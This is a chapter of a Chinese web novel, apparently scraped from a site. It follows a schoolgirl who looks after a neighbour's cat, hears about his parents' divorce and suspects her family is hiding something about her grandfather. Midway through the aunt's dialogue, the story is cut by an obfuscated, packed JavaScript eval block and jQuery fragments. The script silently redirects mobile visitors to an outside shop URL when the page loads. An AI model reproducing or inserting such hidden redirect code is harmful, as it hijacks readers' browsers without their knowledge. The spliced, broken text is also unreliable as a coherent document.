“我本可以忍受黑暗,如果我不曾见过光明。”
国庆节的第五天,傍晚时分,艾荔荔开着三轮车返回,载着姑妈从西北寄来的快递。
秋渐渐深了,太阳一落山,山野间的凉意就涌了出来。
她拐弯,驶入稻田间的小路,秦朗家就在左前方。
秦家居住时,天色昏黑即开启两盏门灯,彻夜不熄,亮到天明。
上学时,她每天和秦朗骑着自行车回家,有说有笑。
偶尔碰见保姆清扫院子,会热情打招呼:“放学啦。”
而现在,秋意寂寥,周围静悄悄。
三轮车经过门口。
她路过,耳畔仅有风声,望了望门灯,脑海里忽然冒出了那句话。
早晨喂猫时,秦朗终于回信息,告知:我爸愧疚,想探望丈母娘、当面道歉,被我妈拦下了,又大吵一架,气得我妈晕倒。
父母闹离婚多年,奶奶与姥姥水火不容,他作为唯一的孙子,长期处于夹板位置,左右为难,处境并不轻松。
她急性子,关心致电。
秦朗秒接。
“秦朗?”
“嗯。”
“韩老师情况怎么样?”
“在病房输液,人已经清醒了。”
艾荔荔挠挠头,“如果韩老师是在采屏县住院,方便的话,我想去探望探望。可惜你们在北市。”
秦朗熬了两天,累得嗓子沙哑,“多谢关心,我妈身体没大碍,但精神很差,这两天几乎没吃饭,跟我爸一吵架,就激动得低血糖发作,昏倒了。”
“第一次见韩老师,我就看出来了。”她叹道:“她太瘦了,简直弱不禁风。劝一劝,让她多吃点东西吧。”
韩燕支教回家度假,母女俩先后住院,亲友纷纷探视,关系好的同事闻讯亦设法慰问。
秦朗并不孤单,但家丑不宜外扬,他礼貌应酬了一群群探病的客人,却跟谁都没说心里话。
不知不觉,他把新认识的邻居当成了“树洞”。
“其实,我妈不是天生瘦弱。”他低声透露:“她是因为抑郁症,暴瘦,体重最轻的时候,只有70斤。”
韩老师一米六几的身高,70斤,岂不是皮包骨?
艾荔荔曾猜测韩燕有肠胃病、消化不良、营养吸收差,却没猜过她有抑郁症。
“抑郁症?!”她呆了呆,“有、有药的吧?”
“医生开了药,嘱咐要自救,转移注意力、开阔心胸之类。”秦朗坐在医院走廊长凳上,歇息养神,“她选择到采屏县支教,是对的,精神足,体重也接近90斤。”
“没想到,国庆节回家一趟,又大吵大闹,惹得她情绪又不好了。”
你奶奶和姥姥,两家人,姻亲之间,为什么吵架?
艾荔荔欲言又止,感觉不该刺探朋友隐私,改为说:“等老师回来,我再看望。每天向她请教英语问题,缠着烦她,尽量让她转移注意力!”
秦朗失笑,“好主意。现在大概只有工作,能让她的心恢复平静。”
她登上二楼,把猫从笼子里放出来,心说:我听你嗓音疲惫沙哑,也需要转移一下注意力。
“芹菜挺聪明的,一打开笼子,立刻往阳台跑。”
秦朗靠墙,长腿伸着舒展身体,“它淘气,想溜出去玩。窗户阳台全封了,让它自己溜达,你泡猫粮去。”
艾荔荔熟练准备猫粮,聊了一会儿,忍不住问:“你家里有事,能准时回来上学吗?”
“不好说。还不定。”秦朗闭目养神,捏了捏眉心,“目前三个亲人住院观察,在等候医生的诊断。”
“芹菜,过来,吃饭了。”
小猫在阳台,追逐绒球玩具玩耍,抓挠撕咬,听见呼唤声,扭扭哒哒往厅里跑,奔向食物。
跑着跑着,四条腿不协调,前肢绊倒了后肢,狼狈栽了个跟头,稚嫩“喵呜”一声。
艾荔荔安抚摸了摸猫脑袋,承诺道:“别的我帮不上忙,猫,尽管放心,你一天不回来,我就帮你喂一天!”
“幸亏有你。”秦朗笑说:“不然,我只能把它送去宠物店寄养。”
“宠物店?它这慢性子,假如跟别的猫混养,一天得饿三顿。”
秦朗笑起来,紧绷的神经得以放松,末了,低声说:“我爸铁了心,非要跟我妈离婚。从我小学,闹到了高中,至今离不成。”
艾荔荔恍然叹息,“原来,你的奶奶和姥姥,两家人,是因为离婚的事吵架。”
“咳,争吵不是一回两回了,我这儿的朋友同学都知道。”
她忙道:“放心,我发誓,一定守口如瓶!”
“应该瞒不住的,前阵子,我爸把离婚协议书寄到了学校,当时我妈在上课,办公室代为签收的。”
艾荔荔皱眉,心想:家务事,捅到韩老师单位?
“你会不会感觉我爸过分?”
“挺过分的。我们采屏县,地方小,八卦消息传得飞快,韩老师有抑郁症,听见议论多影响心情。”
秦朗感慨道:“荔荔同学,我羡慕你,估计艾伯父从未跟伯母提过‘离婚’两字。”
不知不觉,两人莫名信任彼此,敞开心扉,交换秘密。
她盘腿而坐,督促小猫进食,坦率告知:“我爸虽然没跟我妈提过离婚,但他对我妈不满意,平时骂人可凶、可难听了,我和我妈经常挨骂。我爸骂人的话,你听了绝对是受不了的。”
秦朗想起当初在医院,亲眼目睹她被老艾臭骂、掌掴,暗中庆幸自己父母仅是争吵,尚未发展为动武,“大人真是的,有时特烦我爸!他明知道我妈在养病,也不肯让让步。”
“确实。”她深感赞同,“有时候,我也非常烦我爸!脾气大,封建固执,不可理喻。”
两人不约而同,唉声叹气。
随后,艾荔荔的手机震动,提示父亲来电,歉意说:“我爸催我回家了。”
“行。等我定好回去的日子,再告诉你。”
艾荔荔把猫关回笼子,开车回到家。
鸡舍旁,老艾正在喂鸡,“咕咕咕~”
他看见女儿,期待问:“你姑这次寄了什么来?”
“两床棉被,以及一大箱零食,红枣干、葡萄干、杏干、核桃。”艾荔荔停稳三轮车,搬下包裹。钱二妮听见有吃的,卖力帮忙。
老艾把鸡饲料倒进食槽,愉快说:“唉哟,小珍又寄了这么多东西。我每次说‘家里不需要,你别破费’,她总不听,非要寄。”
艾荔荔抖开压缩的棉被,晾晒在架子上,待其恢复蓬松。
“葡、葡萄。”钱二妮兴奋扒拉包裹。
艾荔荔弯腰拆开,“是葡萄干。哇,好甜!”
来自遥远西北的果脯,一家三口品尝后,心里甜滋滋的。
老艾嘱咐:“娣娣,快给你姑打电话,告诉她东西收到了。奶奶、姑姑的关照,你要记在心里,等将来有能力了,适当回报回报。”
“知道!”
艾荔荔一边轻拍棉被,一边致电姑妈,接通后,马珍的声音响起:
“娣娣?”
“姑,东西收到了,我爸说总是让你破费,不好意思了。”
马珍笑眯眯,“这里家家户户种棉花、果树,几十亩甚至几百亩地,收成时,堆得小山那么高,不用费钱,寄给娘家人当零食。”
艾荔荔不禁向往,“几百亩地?那得多大一块。”
“西北的棉花田,宽阔,有的一眼望不到头。”马珍惦记着兄长,豪爽道:“你爸喜欢甜食,让他敞开吃,吃完了姑再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741674|143957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
寄,管够!”
姑侄闲聊,艾荔荔好奇问:“你们小时候有零食吃吗?”
“有啊,可多了!”
马珍远嫁,已经年过半百,忆起童年趣事,饱含怀念,絮絮叨叨:“我们小时候,除了园子里的荔枝、梨之外,山上一年四季有不同的野果。”
“例如,树莓、稔果、八月瓜、拐枣、地果等等。”
“你爸疼妹妹,翻山越岭找野果。”
“我长到五六岁时,就跟在哥哥屁股后面,上山玩,边吃边玩。”
“有次,我们发现一个野蜂窝,为了吃蜂蜜,被蛰惨了,哈哈哈”
“说起稔果,后山祖坟周围有一片,甜得像蜜水。”
……
艾荔荔听得入神,“难怪你们感情深,小时候玩得好。唉,我从来没上过后山,也没去过祖坟,我爸不让,他一直锁着梨园的门。”
马珍脱口而出,“傻孩子,其实你——”
“我?我怎么了?”艾荔荔追问:“姑,继续说呀!”
马珍险些失言,答非所问,“祖坟没什么可玩的,你爸不让,你就不要去。”
艾荔荔心思一动,“姑,我爷爷是怎样的人?他会带着你们上山摘野果吗?”
电话那头,马珍沉默良久,淡淡答:“记不清了。他死得早,没给我留下什么印象。”
记不清了?
爷爷去世时,姑姑10岁。
姑姑能清楚记得幼时兄妹一起玩耍的趣事,却对爷爷“没什么印象”?
朝夕相处,女儿居然对父亲“没什么印象”?
这不对劲。
随着年龄增长,艾荔荔逐渐意识到:长辈深藏一些秘密,联手瞒着她。
老艾在门口招手,“娣娣,把吃的搬进屋,每样分点给你舅舅家。”
艾荔荔回神应了一声,“我爸叫我干活,姑,有空再聊。”
“好孩子,去吧。”马珍松了口气,忙不迭挂断电话,唯恐侄女继续追问。
夜间,她致电老艾,“哥,有件事,我跟你说一下,娣娣她……”
一眨眼,到了假期的最后一天。
艾荔荔早起忙碌,把一板板鸡蛋摞好,堆放进三轮车厢。
“小心开车,送完鸡蛋,顺路把饲料运回来。”老艾嘱咐:“办完事就回家,不许在外面瞎晃悠。”
艾荔荔颔首,启动三轮车,出发送货,早已是家中不可缺少的劳动力。
老艾目送女儿远去,一瘸一拐回屋,往竹篮装了些妹妹寄来的干果,打开了不锈钢房门,准备拿好吃的供一供祖宗。
孰料,他走进秘密房间,刚放下竹篮,却惊讶发现:
供桌上,那幅倒扣多年的遗像,尘封的相框表面,突兀出现了几枚手指印;
指印纤细,修长;
指纹清晰可见。
“娣娣……”老艾分辨了一番,恼怒黑着脸,重重叹气,“唉!”
此时,艾荔荔开车目视前方,丝毫不知自己在供桌上留有痕迹。
她一上午在外卸货、装货,载着鸡饲料返回时,已经是晌午,计划喂完猫再回家。
车拐弯,远远便望见,秦朗家院门是开着的。
艾荔荔瞬间眼睛一亮!
“咦?回来了吗?”
“秦朗怎么没吱声?”
她停车,快步走进院子里,却不见韩燕的车。
“韩老师的车呢?”
“糟糕,会不会是进贼了……”
艾荔荔诧异,警惕戒备,一边环顾四周,一边掏出手机,刚点开屏幕,头皮突然微痛,脑袋不知被什么东西砸了一下,吓得大叫:
“啊——谁?!”
她仓促躲避,迅速撤退出院子,紧张抬头望向二楼——